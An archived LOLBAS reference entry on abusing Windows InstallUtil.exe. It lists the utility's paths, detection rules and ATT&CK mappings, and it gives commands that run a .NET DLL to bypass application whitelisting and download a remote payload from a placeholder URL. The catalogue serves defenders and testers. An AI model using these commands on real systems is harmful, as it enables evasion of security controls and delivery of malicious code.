Installutil on LOLBAS

Archived: 2026-04-05 20:30:42 UTC

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Paths:

- C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Resources:

- https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/
- https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md
- https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/
- https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
- https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

Acknowledgements:

- Casey Smith (@subtee)
- Nir Chako (Pentera) (@C_h4ck_0)

Detections:

- Sigma: proc_creation_win_instalutil_no_log_execution.yml
- Sigma: proc_creation_win_lolbin_installutil_download.yml
- Elastic: defense_evasion_installutil_beacon.toml
- Elastic: defense_evasion_network_connection_from_windows_binary.toml

AWL bypass

1. Execute the target .NET DLL or EXE.

   ```
   InstallUtil.exe /logfile= /LogToConsole=false /U file.dll
   ```

   Use case

Use to execute code and bypass application whitelisting

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.004: InstallUtil

Tags

Execute: DLL (.NET)

Execute: EXE (.NET)

Execute

1. Execute the target .NET DLL or EXE.

```
InstallUtil.exe /logfile= /LogToConsole=false /U file.dll
```

Use case

Use to execute code and bypass application whitelisting

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1218.004: InstallUtil

Tags

Execute: DLL (.NET)

Execute: EXE (.NET)

Download

1. It will download a remote payload and place it in INetCache.

```
InstallUtil.exe https://www.example.org/file.ext
```

Use case

Downloads payload from remote server

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

T1105: Ingress Tool Transfer

Tags

Download: INetCache
